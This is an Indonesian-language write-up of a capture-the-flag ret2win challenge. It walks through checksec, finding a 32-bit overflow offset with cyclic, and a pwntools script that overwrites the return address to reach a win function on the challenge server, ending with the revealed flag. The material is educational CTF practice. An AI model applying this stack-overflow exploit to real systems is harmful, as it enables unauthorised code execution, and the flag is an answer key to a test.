

RET2WIN STEMBACTF

Lukas Danu Saptaji

Jadi kita analisis awal dulu dari judul soalnya aja dah tau kalau ini challenge ret2win jadi langsung aja kita checksec dulu filenya dan kita command file

```
shouma@DESKTOP-R6EE5AL mnt PWN file chall
chall: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID [sha1]=246eb2bc1fdeb3d0ac7730c7591775539d8ee1cb, for GNU/Linux 3.2.0, not stripped
shouma@DESKTOP-R6EE5AL mnt PWN checksec chall
[*] '/mnt/c/Users/NB3440-Master01/OneDrive/Desktop/CTF/NO AI/PWN/chall'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
shouma@DESKTOP-R6EE5AL mnt PWN
```

Nah itu bisa dilihat yang gampang gini no canary no pie jadi alamatnya tetap karna no pie dan langsung bisa kena EIP karna no canary, itu juga not stripped jadi kita masih bisa lihat symbol melihat fungsi win,main dll langsung aja kita lihat function dengan gdb

Oke kita bisa lihat alamat functionnya beserta functionnya juga

```
pwndbg> info funct
All defined functions:

Non-debugging symbols:
0x08049000 _init
0x08049030 __libc_start_main@plt
0x08049040 printf@plt
0x08049050 gets@plt
0x08049060 puts@plt
0x08049070 system@plt
0x08049080 setvbuf@plt
0x08049090 _start
0x080490c0 _dl_relocate_static_pie
0x080490d0 __x86.get_pc_thunk.bx
0x080490e0 deregister_tm_clones
0x08049120 register_tm_clones
0x08049160 __do_global_dtors_aux
0x08049190 frame_dummy
0x08049196 setup
0x080491f3 ini_flag
0x0804922f ini_vuln
0x0804927a main
0x0804929b __x86.get_pc_thunk.ax
0x080492a0 _fini
```

Bisa dilihat ada function ini_flag itu adalah alamat win kita jadi kita langsung saja cari offsetnya menggunakan cyclic

```

pwndbg> cyclic 200
aaaaabaaacaaadaaaefaaagaaahaaiaaaiaaakaalaalaamaanaaaaoaaapaaqaaaraasaaataaaavaaaawaaaxaaayaaazaabbaabcaabdaabeaafbaab
gaabhaabjaabjaabkaablaabmaabnaaboaabpaabqabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> run
Starting program: /mnt/c/Users/NB3440-Master01/OneDrive/Desktop/CTF/NO. A1/PWN/chall
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Kata-kata untuk hari ini: aaaaabaaacaaadaaaefaaagaaahaaiaaaiaaakaalaalaamaanaaaaoaaapaaqaaaraasaaataaaavaaaawaaaxaaayaa
azaabbaabcaabdaabeaafbaabgaabhaabjaabjaabkaablaabmaabnaaboaabpaabqabraabsaabtaabuaabvaabwaabxaabyaab

Terimakasih atas kata-katanya
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
[ LAST SIGNAL ]
Program received signal SIGSEGV (fault address: 0x61616176).
[ REGISTERS / show-flags off / show-compact-regs off ]
EAX 0x1e
EBX 0x61616174 ('taaa')
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ← 0
ESI 0xffffcbfc ← 0xffffcb60 ← 'SHELL=/bin/bash'
EBP 0x61616175 ('uaaa')
ESP 0xffffcb30 ← 'aaaaaayaaaazaabbaabcaabdaabeaafbaabgaabhaabjaabjaabkaablaabmaabnaaboaabpaabqabraabsaabtaabuaabvaabwaab
bxaabyaab'
EIP 0x61616176 ('vaaa')

```

Bisa dilihat itu EIP nya 'vaaa' kita bisa tahu offsetnya pakai itu dengan cara cyclic -l vaaa

```

pwndbg> cyclic -l vaaa
Finding cyclic pattern of 4 bytes: b'vaaa' (hex: 0x76616161)
Found at offset 84

```

Nah bisa dilihat kan itu offsetnya 84 langsung aja kita buat scriptnya

```

#!/usr/bin/perl

from pwn import *

# Konfigurasi
host = 'ctf-chall.stembascc.com'
port = 5202
binary = './chall'

# Setup Context
context.binary = ELF(binary)
p = remote(host, port)

# Target
win_addr = 0x080491f3
offset = 84

# Payload
payload = b"A" * offset + p32(win_addr)

p.sendline(payload)
p.interactive()

```

Nah itu script solvernya nahh jangan lupa ges scriptnya jangan local kayak saya tadi salah ga teliti remote ke port sama hostnya, nah itu kenapa p32 itu karna 32 bit ya itu dilihat dari command file tadi kalau 64 bit y aitu p64 gitu.

```
shouma@DESKTOP-R6EE5AL mnt > > > > > > > > > PwN python3 solve.py
[*] '/mnt/c/Users/NB3440-Master01/OneDrive/Desktop/CTF/NO AI/PwN/chall'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[+] Opening connection to ctf-chall.stembascc.com on port 5202: Done
[*] Switching to interactive mode
Kata-kata untuk hari ini:
Terimakasih atas kata-katanya
KELLAAZZZ BANGG
$ ls
chall
flag.txt
$ cat flag.txt
STEMBACTF{ret2win_k4t4_K3t4_Muti4r4}
$
```

Dan yap berhasil flag : STEMBACTF{ret2win_k4t4_K3t4_Muti4r4}